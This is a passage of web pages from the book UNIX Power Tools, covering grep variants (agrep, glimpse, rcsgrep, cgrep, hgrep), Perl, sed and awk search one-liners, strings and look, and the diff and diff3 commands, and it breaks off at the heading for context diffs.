The speed depends on the size of the index file you build: a bigger index makes the searches faster. But even with the smallest index file, I can search my entire 70-Megabyte email archive, on a fairly slow workstation, in less than 30 seconds. With faster CPUs and disks, the search could be much quicker. One weakness is in search patterns that could match many files, which can take a lot of time to do: glimpse will print a warning and ask if you want to continue the search. (After glimpse checks its index for possible matches, it runs agrep on the possibly matching files to check and get the exactly matching records.)

agrep is one of the nicer additions to the grep family. It's not only one of the faster greps around, it has the unique feature that it will look for approximate matches. It's also record-oriented rather than line-oriented. Glimpse calls agrep, but you can also use agrep without using glimpse. The three most significant features of agrep that are not supported by the grep family are:

  1. The ability to search for approximate patterns, with a user-definable level of accuracy. For example,

    % agrep -2 homogenos foo

    will find "homogeneous" as well as any other word that can be obtained from "homogenos" with at most 2 substitutions, insertions, or deletions.

    % agrep -B homogenos foo

    will generate a message of the form:

    best match has 2 errors, there are 5 matches, output them? (y/n)

  2. agrep is record-oriented rather than just line-oriented; a record is by default a line, but it can be user-defined with the -d option specifying a pattern that will be used as a record delimiter. For example,

    % agrep -d '^From ' 'pizza' mbox

    outputs all mail messages (1.33) (delimited by a line beginning with From and a space) in the file mbox that contain the keyword pizza. Another example:

    % agrep -d '$$' pattern foo

    will output all paragraphs (separated by an empty line) that contain pattern.

  3. agrep allows multiple patterns with AND (or OR) logic queries. For example,

    % agrep -d '^From ' 'burger,pizza' mbox

    outputs all mail messages containing at least one of the two keywords (, stands for OR).

    % agrep -d '^From ' 'good;pizza' mbox

    outputs all mail messages containing both keywords.

Putting these options together one can write queries like:

% agrep -d '$$' -2 '<CACM>;TheAuthor;Curriculum;<198[5-9]>' bib

which outputs all paragraphs referencing articles in CACM between 1985 and 1989 by TheAuthor dealing with Curriculum. Two errors are allowed, but they cannot be in either CACM or the year. (The <> brackets forbid errors in the pattern between them.)

Other agrep features include searching for regular expressions (with or without errors), unlimited wildcards, limiting the errors to only insertions or only substitutions or any combination, allowing each deletion, for example, to be counted as, say, 2 substitutions or 3 insertions, restricting parts of the query to be exact and parts to be approximate, and many more.

Email glimpse-request@cs.arizona.edu to be added to the glimpse mailing list. Email glimpse@cs.arizona.edu to report bugs, ask questions, discuss tricks for using glimpse, etc. (This is a moderated mailing list with very little traffic, mostly announcements.)

- JP, SW, UM

Previous: 27.7 grepping for a List of Patterns | UNIX Power Tools | Next: 27.9 New greps Are Much Faster
27.7 grepping for a List of Patterns | Book Index | 27.9 New greps Are Much Faster
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.9 New greps Are Much Faster

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.8 glimpse and agrep Chapter 27
Searching Through Files 		Next: 27.10 Search RCS Files with rcsgrep

27.9 New greps Are Much Faster

grep
Many of the newer, public domain greps such as agrep (27.8) and GNU egrep, use the much faster Boyer-Moore search algorithm. Both agrep and GNU egrep are on the CD-ROM. [1]

[1] The GNU egrep executable is also installed under the name grep-so don't get confused!

In article 27.6, we used the runtime program (39.4) to compare the execution times of fgrep, egrep, and grep. This time we'll use runtime to show the average time needed to search for the string Waldo in a large directory of files. First, let's show the results using agrep:

% runtime -10 agrep Waldo *
   ...
AVERAGES:
 0.48u  0.73s 0:01 0+261k 0+0io 0pf+0w

Here's the same output for GNU egrep:

% runtime -10 egrep Waldo *
   ...
AVERAGES:
 0.62u  0.62s 0:01 0+242k 0+0io 0pf+0w

Now compare these numbers against those in article 27.6. For example, here's what we get from the much-maligned everyday grep:

% runtime -10 grep Waldo *
   ...
AVERAGES:
 4.13u  0.83s 0:04 0+203k 21+0io 19pf+0w

grep took four clock seconds to search all the files, while both agrep and GNU egrep breezed by in one. So are you a believer yet?

- TOR, LM

Previous: 27.8 glimpse and agrep | UNIX Power Tools | Next: 27.10 Search RCS Files with rcsgrep
27.8 glimpse and agrep | Book Index | 27.10 Search RCS Files with rcsgrep
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.10 Search RCS Files with rcsgrep

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.9 New greps Are Much Faster Chapter 27
Searching Through Files 		Next: 27.11 A Multiline Context grep Using sed

27.10 Search RCS Files with rcsgrep

rcsgrep
Storing multiple versions of a file in RCS (20.14) saves space. How can you search a lot of those files at once? You could check out all the files, then run grep-but you'll have to remove the files after you're done searching. Or, you could search the RCS files themselves with a command like grep foo RCS/*,v-but that can show you garbage lines from previous revisions, log messages, and other text that isn't in the latest revision of your file. This article has two ways to solve that problem.

27.10.1 rcsgrep, rcsegrep, rcsfgrep

The rcsgrep script - and two links to it named rcsegrep and rcsfgrep-run grep, egrep (27.5), and fgrep (27.6) on all files in the RCS directory. (You can also choose the files to search.)

The script tests its name to decide whether to act like grep, egrep, or fgrep. Then it checks out each file and pipes it to the version of grep you chose. The output looks just like grep's - although, by default, you'll also see the messages from the co command (the -s option silences those messages).

By default, rcsgrep searches the latest revision of every file. With the -a option, rcsgrep will search all revisions of every file, from first to last. This is very handy when you're trying to see what was changed in a particular place - and to find which revision(s) have some text that was deleted some time ago. (rcsgrep uses rcsrevs (20.15) to implement -a.)

Some grep options need special handling to work right in the script: -e, -f, and -l. (For instance, -e and -f have an argument after them. The script has to pass both the option and its argument.) The script passes any other options you type to the grep command. Your grep versions may have some other options that need special handling, too. Just edit the script to handle them.

You can install this script from the CD-ROM or from the online archive (52.7). If you get it from the archive, ask tar to install rcsgrep, its two other links rcsegrep and rcsfgrep, as well as rcsrevs.

27.10.2 rcsegrep.fast

To search an RCS file, rcsgrep and its cousins run several UNIX processes: co, grep, sed and others. Each process takes time to start and run. If your directory has hundreds of RCS files (like our directory for this book does), searching the whole thing can take a lot of time. I could have cut the number of processes by rewriting rcsgrep in Perl; Perl has the functionality of grep, sed and others built in, so all it would need to do is run hundreds of co processes...which would still make it too slow.

rcsegrep.fast
The solution I came up with was to do everything in (basically) one process: a gawk (33.12) script. Instead of using the RCS co command to extract each file's latest revision, the rcsegrep.fast script reads each RCS file directly (The rcsfile(5) manpage explains the format of an RCS file.) An RCS file contains the latest revision of its working file as plain text, with one difference: each @ character is changed to @@. rcsegrep.fast searches the RCS file until it finds the beginning of the working file. Then it applies an egrep-like regular expression to each line. Matching lines are written to standard output with the filename first; the -n option gives a line number after the filename.

rcsegrep.fast is sort of a kludge because it's accessing RCS files without using RCS tools. There's a chance that it won't work on some versions of RCS, or that I've made some other programming goof. But it's worked very well for us. It's much faster than rcsgrep and friends. I'd recommend using rcsegrep.fast when you need to search the latest revisions of a lot of RCS files; otherwise, stick to the rcsgreps.

- JP

Previous: 27.9 New greps Are Much Faster | UNIX Power Tools | Next: 27.11 A Multiline Context grep Using sed
27.9 New greps Are Much Faster | Book Index | 27.11 A Multiline Context grep Using sed
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.11 A Multiline Context grep Using sed

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.10 Search RCS Files with rcsgrep Chapter 27
Searching Through Files 		Next: 27.12 Make Custom grep Commands (etc.) with perl

27.11 A Multiline Context grep Using sed

[One weakness of the grep family of programs is that they are line-oriented. They read only one line at a time, and so they can't find patterns (such as phrases) that are split across two lines. agrep (27.8) can do multiline searches. One advantage of the cgrep.sed script is that it shows how to handle multiple-line patterns in sed-and can be adapted for work other than searches. -JP ]

cgrep.sed
 It may surprise you to learn that a fairly decent context grep program can be built using sed (34.1). This sed version of cgrep is used the same way as the Perl version in article 27.13:

$ cgrep -10 system main.c

will find all lines containing the word system in the file main.c, and show 10 additional lines of context above and below each match. (The -context option must be at least 1, and defaults to 2 lines.) It differs from the Perl version in that, if several matches occur within the same context, the lines are printed as one large "hunk" rather than repeated smaller hunks. Each new block of context is preceded by the line number of the first occurrence in that hunk. This script can also search for patterns that span lines:

cgrep -3 "awk.*perl"

will find all occurrences of the word "awk" where it is followed by the word "perl" somewhere within the next 3 lines. The pattern can be any simple regular expression (26.4), with one notable exception: because you can match across lines, you should use \n in place of the ^ and $ metacharacters.

Article 34.17 explains how the script works.

- GU

Previous: 27.10 Search RCS Files with rcsgrep | UNIX Power Tools | Next: 27.12 Make Custom grep Commands (etc.) with perl
27.10 Search RCS Files with rcsgrep | Book Index | 27.12 Make Custom grep Commands (etc.) with perl
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.12 Make Custom grep Commands (etc.) with perl

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.11 A Multiline Context grep Using sed Chapter 27
Searching Through Files 		Next: 27.13 More grep-like Programs Written in Perl

27.12 Make Custom grep Commands (etc.) with perl

All of the various grep-like utilities perform pretty much the same function, with minor differences - they search for a specified pattern in some or all of a file, and then display that pattern with varying amounts of surrounding context.

perl
As you use UNIX more and more, you will find yourself wanting to do an increasing number of grep-like tasks, but no particular UNIX utility will quite suit them all (hence the need for the various grep utilities discussed earlier in this section). You'll start accumulating C programs, awk scripts, and shell scripts to do these different tasks, and you'll be craving one utility that can easily encompass them all so you don't have to waste the disk space for all of those binaries. That utility is Perl (37.1), the "Practical Extraction and Report Language" developed by Larry Wall. According to the documentation accompanying Perl, it is "an interpreted language optimized for scanning arbitrary text files, extracting information from those text files, and printing reports based on that information." If you don't already have perl installed on your system, you can get it from the CD-ROM.

For example, to search for a pattern in the header of a Usenet message:

perl -ne 'exit if (/^$/); print if (/pattern/);' filename

[This works because mail and Usenet (1.33) messages always use a blank line - indicated by ^$ in regular expression syntax - to separate the header from the body of the message. -TOR ]

To do a search for a pattern and print the paragraphs in which it appears:

perl -ne '$/ = "\n\n"; print if (/pattern/);' filename

[This assumes that paragraphs are delimited by a double linefeed - that is, a blank line. You'd have to adjust this script for a troff or TeX document where paragraphs are separated by special codes. -TOR ]

Searching through files is one of Perl's strengths, but certainly not its only strength. Perl encompasses all of the functionality of sed, awk, grep, find, and other UNIX utilities. Furthermore, a Perl program to do something originally done with one or more of these utilities is usually faster and easier to read than the non-Perl solution. [I agree that Perl is usually faster than a bunch of separate UNIX utilities strung together by pipes and temporary files. It also beats many utilities running standalone. But, in my experience, sed beats Perl's running speed almost every time. That could be partly because I have a slow disk, and the 40-kbtye sed binary takes less time to load than the 700-kbtye Perl 5 binary. Make your own tests, and I'll make room for Jonathan's rebuttal in the third edition of this book. ;-) -JP]

- JIK

Previous: 27.11 A Multiline Context grep Using sed | UNIX Power Tools | Next: 27.13 More grep-like Programs Written in Perl
27.11 A Multiline Context grep Using sed | Book Index | 27.13 More grep-like Programs Written in Perl
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.13 More grep-like Programs Written in Perl

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.12 Make Custom grep Commands (etc.) with perl Chapter 27
Searching Through Files 		Next: 27.14 Compound Searches

27.13 More grep-like Programs Written in Perl

[Article 27.12 gave a sense of how easy it might be to write custom search programs in Perl...but until you learn the language, you can't rip these off whenever you find yourself in need. This article describes a few more custom greps written in Perl. It doesn't show the scripts themselves, just how to use them. If you like them, they are on the disc and the online archive. -TOR ]

tgrep
The tgrep program greps only those files containing textual data. It's useful in a directory that has mixed binary and textual files, when the filenames aren't a sufficient clue to the nature of the file. tgrep has one option, -l, which causes it to list the files containing the pattern rather than listing the lines containing the pattern.
pipegrep
The pipegrep program greps the output of a series of commands. The difficulty with doing this using the normal grep program is that you lose track of which file was being processed. This program prints out the command it was executing at the time, including the filename. The command, which is a single argument, will be executed once for each file in the list. If you give the string {} anywhere in the command, the filename will be substituted at that point. Otherwise the filename will be added on to the end of the command. This program has one option, -l, which causes it to list the files containing the pattern. For example [nm is a programmers' utility that prints symbol name lists-JP ]:

$ cd /usr/lib
$ pipegrep 'sys_nerr' nm lib*.a
nm /usr/lib/libX11.a |:          U _sys_nerr
nm /usr/lib/libXaw.a |:          U _sys_nerr
nm /usr/lib/libXaw.a |:          U _sys_nerr
nm /usr/lib/libc.a |:            U _sys_nerr
           .
           .
           .

cgrep
The cgrep program greps for a pattern in the specified files, and prints out that line with several lines of surrounding context. This context grep script lets you specify how many lines of context you want if you want more or less than the default. For example:

$ cgrep -3 pattern files

would give you three lines of context above and below the matching line. Each occurrence is separated from the next by a short horizontal line (-----).

- LW, RS, TC from O'Reilly & Associates' Programming Perl

Previous: 27.12 Make Custom grep Commands (etc.) with perl | UNIX Power Tools | Next: 27.14 Compound Searches
27.12 Make Custom grep Commands (etc.) with perl | Book Index | 27.14 Compound Searches
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.14 Compound Searches

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.13 More grep-like Programs Written in Perl Chapter 27
Searching Through Files 		Next: 27.15 Narrowing a Search Quickly

27.14 Compound Searches

You may recall that you can search for lines containing "this" or "that" using the egrep (27.5) | metacharacter:

egrep 'this|that' files

But how do you grep for "this" and "that"? Conventional regular expressions don't support an and operator because it breaks the rule that patterns match one consecutive string of text. Well, agrep (28.9) is one version of grep that breaks all the rules. If you're lucky enough to have it installed, just use:

agrep 'cat;dog;bird' files

If you don't have agrep, a common technique is to filter the text through several greps so that only lines containing all the keywords make it through the pipeline intact:

grep cat files | grep dog | grep bird

But can it be done in one command? The closest you can come with grep is this idea:

grep 'cat.*dog.*bird' files

which has two limitations - the words must appear in the given order, and they cannot overlap. (The first limitation can be overcome using egrep 'cat.*dog|dog.*cat', but this trick is not really scalable to more than two terms.)

As usual, the problem can also be solved by moving beyond the grep family to the more powerful tools. Here is how to do a line-by-line and search using sed, awk, or perl: [2]

[2] Some versions of nawk require an explicit $0~ in front of each pattern.

sed '/cat/!d; /dog/!d; /bird/!d' files
awk '/cat/ && /dog/ && /bird/' files
perl -ne 'print if /cat/ && /dog/ && /bird/' files

Okay, but what if you want to find where all the words occur in the same paragraph? Just turn on paragraph mode by setting RS="" in awk or by giving the -00 option to perl:

awk '/cat/ && /dog/ && /bird/ {print $0 ORS}' RS= files
perl -n00e 'print "$_\n" if /cat/ && /dog/ && /bird/' files

And if you just want a list of the files that contain all the words anywhere in them? Well, perl can easily slurp in entire files if you have the memory and you use the -0 option to set the record separator to something that won't occur in the file (like NUL):

perl -ln0e 'print $ARGV if /cat/ && /dog/ && /bird/' files

(Notice that as the problem gets harder, the less powerful commands drop out.)

The grep filter technique shown above also works on this problem. Just add a -l option (15.7) and the xargs command (9.21) to make it pass filenames through the pipeline rather than text lines:

grep -l cat files | xargs grep -l dog | xargs grep -l bird

(xargs is basically glue used when one program produces output that's needed by another program as command-line arguments.)

- GU

Previous: 27.13 More grep-like Programs Written in Perl | UNIX Power Tools | Next: 27.15 Narrowing a Search Quickly
27.13 More grep-like Programs Written in Perl | Book Index | 27.15 Narrowing a Search Quickly
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.15 Narrowing a Search Quickly

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.14 Compound Searches Chapter 27
Searching Through Files 		Next: 27.16 Faking Case-Insensitive Searches

27.15 Narrowing a Search Quickly

If you're searching a long file to find a particular word or name, or you're running a program like ls -l and you want to filter some lines, here's a quick way to narrow down the search. As an example, say your phone file has 20,000 lines like these:

Smith, Nancy:MFG:50 Park Place:Huntsville:(205)234-5678

and you want to find someone named Nancy. When you see more information, you know you can find which of the Nancys she is:

% grep Nancy phones
...150 lines of names...

Use the C shell's history mechanism (11.2) and sed (34.24) to cut out lines you don't want. For example, about a third of the Nancys are in Huntsville, and you know she doesn't work there:

% !! | sed -e /Huntsville/d
grep Nancy phones | sed -e /Huntsville/d
...100 lines of names...

The shell shows the command it's executing: the previous command (!!) piped to sed, which deletes lines in the grep output that have the word Huntsville.

Okay. You know Nancy doesn't work in the MFG or SLS groups, so delete those lines, too:

% !! -e /MFG/d -e /SLS/d
grep Nancy phones | sed -e /Huntsville/d -e /MFG/d -e /SLS/d
...20 lines of names...

Keep using !! to repeat the previous command line, and adding more sed expressions, until the list gets short enough. The same thing works for other commands - when you're hunting for errors in uulog (1.33) output, for example, and you want to skip lines with SUCCEEDED and OK:

% uulog | sed -e /SUCCEEDED/d -e /OK/d
...

If the matching pattern has anything but letters and numbers in it, you'll have to understand shell quoting (8.14) and sed regular expressions (26.4). Most times, though, this quick-and-dirty way works just fine.

- JP

Previous: 27.14 Compound Searches | UNIX Power Tools | Next: 27.16 Faking Case-Insensitive Searches
27.14 Compound Searches | Book Index | 27.16 Faking Case-Insensitive Searches
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.16 Faking Case-Insensitive Searches

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.15 Narrowing a Search Quickly Chapter 27
Searching Through Files 		Next: 27.17 Finding a Character in a Column

27.16 Faking Case-Insensitive Searches

This may be the simplest tip in the book, but it's something that doesn't occur to lots of users.

On many UNIX implementations, the egrep command doesn't support the -i option, which requests case-insensitive searches. I find that case-insensitive searches are absolutely essential, particularly to writers. You never know whether or not any particular word will be capitalized.

To fake a case-insensitive search with egrep, just eliminate any letters that might be uppercase. Instead of searching for Example, just search for xample. If the letter that might be capitalized occurs in the middle of a phrase, you can replace the missing letter with a "dot" (single character) wildcard, rather than omitting it.

Sure, you could do this the "right way" with a command like:

% egrep '[eE]xample' *

But our shortcut is easier.

This tip obviously isn't limited to egrep; it applies to any utility that only implements case-sensitive searches, like more.

- ML

Previous: 27.15 Narrowing a Search Quickly | UNIX Power Tools | Next: 27.17 Finding a Character in a Column
27.15 Narrowing a Search Quickly | Book Index | 27.17 Finding a Character in a Column
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.17 Finding a Character in a Column

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.16 Faking Case-Insensitive Searches Chapter 27
Searching Through Files 		Next: 27.18 Fast Searches and Spelling Checks with "look"

27.17 Finding a Character in a Column

Here's an idea for finding lines that have a given character in a column. Use the following simple awk (33.11) command:

% awk 'substr($0,n,1) == "c"' filename

where c is the character you're searching for, and n is the column you care about.

Where would you do this? If you're processing a file with very strict formatting, this might be useful; for example, you might have a telephone list with a # in column 2 for "audio" telephone numbers, $ for dial-up modems, and % for fax machines. A script for looking up phone numbers might use an awk command like this to prevent you from mistakenly talking to a fax machine.

If your data has any TAB characters, the columns might not be where you expect. In that case, use expand (41.4) on the file, then pipe it to awk.

- JP, ML

Previous: 27.16 Faking Case-Insensitive Searches | UNIX Power Tools | Next: 27.18 Fast Searches and Spelling Checks with "look"
27.16 Faking Case-Insensitive Searches | Book Index | 27.18 Fast Searches and Spelling Checks with "look"
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.18 Fast Searches and Spelling Checks with "look"

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.17 Finding a Character in a Column Chapter 27
Searching Through Files 		Next: 27.19 Finding Words Inside Binary Files

27.18 Fast Searches and Spelling Checks with "look"

Every so often, someone has designed a new, faster grep-type program. Public domain software archives have more than a few of them. One of the fastest search programs has been around for years: look. It uses a binary search method that's very fast. But look won't solve all your problems: it works only on files that have been sorted (36.1). If you have a big file or database that can be sorted, searching it with look will save a lot of time. For example, to search for all lines that start with Alpha:

% look Alpha filename
Alpha particle
Alphanumeric

look
 The look program can also be used to check the spelling of a word or find a related word; see article 29.3. If you don't have look installed on your system, you can get it from the CD-ROM.

- JP

Previous: 27.17 Finding a Character in a Column | UNIX Power Tools | Next: 27.19 Finding Words Inside Binary Files
27.17 Finding a Character in a Column | Book Index | 27.19 Finding Words Inside Binary Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.19 Finding Words Inside Binary Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.18 Fast Searches and Spelling Checks with "look" Chapter 27
Searching Through Files 		Next: 27.20 A Highlighting grep

27.19 Finding Words Inside Binary Files

If you try to read binaries (52.9) on your screen with, say, cat -v (25.7), you'll see a lot of non-printable characters. Buried in there somewhere though are words and strings of characters that might make some sense. For example, if the code is copyrighted, you can usually find that information in the binary. The pathnames of special files that the program reads will probably show up. If you're trying to figure out which program printed an error message, use strings on the binaries and look for the error. Some versions of strings do a better job of getting just the useful information; others may write a lot of junk, too. But what the heck - pipe the output to a pager (25.3, 25.4) or grep (27.2), redirect it to a file - ignore the stuff you don't want.

Here's a (shortened) example on SunOS:

% strings /bin/write
@(#)write.c 1.10 88/05/10 SMI
Usage: write user [ttyname]
write: Can't find your tty
Message from %s@%s on %s at %d:%02d ...
Write failed (%s logged out?)
         (((((
DDDDDDDDDD

The first line comes from SCCS (20.12)- you can see the version number, the date the code was last modified or released, and so on. The %s, %d, and %02d are special places that the printf(3) function will replace with values like the username, hostname, hour, and minute.

By default, strings doesn't search all of a binary file: it only reads the initialized and loaded sections. The - (dash) option tells strings to search all of the file. Another useful option is -n, where n is the minimum-length string to print. Setting a higher limit will cut the "noise," but you might also lose what you're looking for.

The od -sn command does a similar thing: finds all null-terminated strings that are at least n characters long.

- JP

Previous: 27.18 Fast Searches and Spelling Checks with "look" | UNIX Power Tools | Next: 27.20 A Highlighting grep
27.18 Fast Searches and Spelling Checks with "look" | Book Index | 27.20 A Highlighting grep
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.20 A Highlighting grep

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.19 Finding Words Inside Binary Files Chapter 27
Searching Through Files 		Next: 28. Comparing Files

27.20 A Highlighting grep

Does it happen to you that you grep for a word, lines scroll down your screen, and it's hard to find the word on each line? For example, suppose I'm looking for any mail messages I've saved that say anything about the perl programming language. But when I grep the file, most of it seems useless:

% grep perl ~/Mail/save
> and some of it wouldn't compile properly.  I wonder if
Subject: install script, for perl scripts
perl itself is installed?
> run but dies with a read error because it isn't properly
> if I can get it installed properly on another machine I
> run but dies with a read error because it isn't properly
> if I can get it installed properly on another machine I

hgrep
Well, as described on its own manual page, here's a program that's "trivial, but cute." hgrep runs a grep and highlights the string being searched for, to make it easier for us to find what we're looking for.

% hgrep perl ~/Mail/save
> and some of it wouldn't compile pro"perl"y.  I wonder if
Subject: install script, for  "perl" scripts
 perl itself is installed?
> run but dies with a read error because it isn't properly
> if I can get it installed properly on another machine I
> run but dies with a read error because it isn't properly
> if I can get it installed properly on another machine I

And now we know why the output looked useless: because most of it is! Luckily, hgrep is just a front-end; it simply passes all its arguments to grep. So hgrep necessarily accepts all of grep's options, and I can just use the -w option (27.4) to weed the output down to what I want:

% hgrep -w perl ~/Mail/save
Subject: install script, for
 perl scripts
 perl itself is installed?

- LM

Previous: 27.19 Finding Words Inside Binary Files | UNIX Power Tools | Next: 28. Comparing Files
27.19 Finding Words Inside Binary Files | Book Index | 28. Comparing Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] Comparing Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.20 A Highlighting grep Chapter 28 Next: 28.2 Comparing Three Different Versions with diff3

28. Comparing Files

Contents:
Checking Differences with diff
Comparing Three Different Versions with diff3
Context diffs
Side-by-Side diffs: sdiff
Comparing Files Alongside One Another
Choosing Sides with sdiff
diff for Very Long Files: bdiff
More Friendly diff Output
ex Scripts Built by diff
Problems with diff and Tabstops
cmp and diff
Comparing Two Files with comm
make Isn't Just for Programmers!
Even More Uses for make
Show Changes in a troff File with diffmk

28.1 Checking Differences with diff

diff
 The diff command displays different versions of lines that are found when comparing two files. (There's also a GNU version on the CD-ROM.) It prints a message that uses ed-like notation (a for append, c for change, and d for delete) to describe how a set of lines has changed. This is followed by the lines themselves. The < character precedes lines from the first file and > precedes lines from the second file.

Let's create an example to explain the output produced by diff. Look at the contents of three sample files:

test1 | test2 | test3
apples | apples | oranges
oranges | oranges | walnuts
walnuts | grapes | chestnuts

When you run diff on test1 and test2, the following output is produced:

$ diff test1 test2
3c3
< walnuts
--
> grapes

The diff command displays the only line that differs between the two files. To understand the report, remember that diff is prescriptive, describing what changes need to be made to the first file to make it the same as the second file. This report specifies that only the third line is affected, exchanging walnuts for grapes. This is more apparent if you use the -e option, which produces an editing script that can be submitted to ed, the UNIX line editor. (You must redirect standard output (13.1) to capture this script in a file.)

$ diff -e test1 test2
3c

grapes
.

This script, if run on test1, will bring test1 into agreement with test2. (Article 28.9 describes how to get ed to execute this script.)

If you compare the first and third files, you find more differences:

$ diff test1 test3
1dO
< apples
3a3
> chestnuts

To make test1 the same as test3, you'd have to delete the first line (apples) and append the third line from test3 after the third line in test1. Again, this can be seen more clearly in the editing script produced by the -e option. Notice that the script specifies editing lines in reverse order; otherwise, changing the first line would alter all succeeding line numbers.

$ diff -e test1 test3
3a
chestnuts
.
1d

So what's this good for? Here's one example.

When working on a document, it is not an uncommon practice to make a copy of a file and edit the copy rather than the original. This might be done, for example, if someone other than the writer is inputing edits from a written copy. The diff command can be used to compare the two versions of a document. A writer could use it to proof an edited copy against the original.

$ diff brochure brochure.edits
49c43,44
< environment for program development and communications,
--
> environment for multiprocessing, program development
> and communications, programmers
56c51
< offering even more power and productivity for commericial
--
> offering even more power and productivity for commercial
76c69
< Languages such as FORTRAN, COBOL, Pascal, and C can be
--
> Additional languages such as FORTRAN, COBOL, Pascal, and

Using diff in this manner is a simple way for a writer to examine changes without reading the entire document. By redirecting diff output to a file, you can keep a record of changes made to any document. In fact, just that technique is used by SCCS and RCS (20.12) to manage multiple revisions of source code and documents.

- DD from UNIX Text Processing, Hayden Books, 1987, Chapter 11

Previous: 27.20 A Highlighting grep | UNIX Power Tools | Next: 28.2 Comparing Three Different Versions with diff3
27.20 A Highlighting grep | Book Index | 28.2 Comparing Three Different Versions with diff3
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.2 Comparing Three Different Versions with diff3

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.1 Checking Differences with diff Chapter 28
Comparing Files 		Next: 28.3 Context diffs

28.2 Comparing Three Different Versions with diff3

diff3
 You can use the diff3 command to look at differences between three files. (There's also a GNU version on the CD-ROM.) Here are three sample files, repeated from article 28.1:
test1 | test2 | test3
apples | apples | oranges
oranges | oranges | walnuts
walnuts | grapes | chestnuts

For each set of differences, diff3 displays a row of equal signs (====) followed by 1, 2, or 3, indicating which file is different; if no number is specified, then all three files differ. Then, using ed-like notation (28.1), the differences are described for each file.

$ diff3 test1 test2 test3
====3
1:1c
2:1c
  apples
3:0a
====
1:3c
  walnuts
2:3c
  grapes
3:2,3c
  walnuts
  chestnuts

With the output of diff3, it is easy to keep track of which file is which; however, the prescription given is a little harder to decipher. To bring these files into agreement, the first range of text (after ====3) shows that you would have to add apples at the beginning of the third file (3:0a). The second range tells you to change line 3 of the second file to line 3 of the first file; and change lines 2 and 3 of the third file, effectively dropping the last line.

The diff3 command also has a -e option for creating an editing script for ed. It doesn't work quite the way you might think. Basically, it creates a script for building the first file from the second and third files.

$ diff3 -e test1 test2 test3
3c
walnuts
chestnuts
.
1d
.
w
q

If you reverse the second and third files, a different script is produced:

$ diff3 -e test1 test3 test2
3c
grapes
.
w
q

As you might guess, this is basically the same output as doing a diff on the first and third files. (The only difference in the output is the result of a rather errant inconsistency between diff and diff3. The System V version of diff3 produces an ed script that ends with the commands that save the edited version of the file. The Berkeley diff3, and both versions of diff, require that you supply the w and q. We show the System V version of diff3 here.)

- DD from UNIX Text Processing, Hayden Books, 1987, Chapter 11

Previous: 28.1 Checking Differences with diff | UNIX Power Tools | Next: 28.3 Context diffs
28.1 Checking Differences with diff | Book Index | 28.3 Context diffs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.3 Context diffs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.2 Comparing Three Different Versions with diff3 Chapter 28
Comparing Files 		Next: 28.4 Side-by-Side diffs: sdiff

28.3 Context diffs

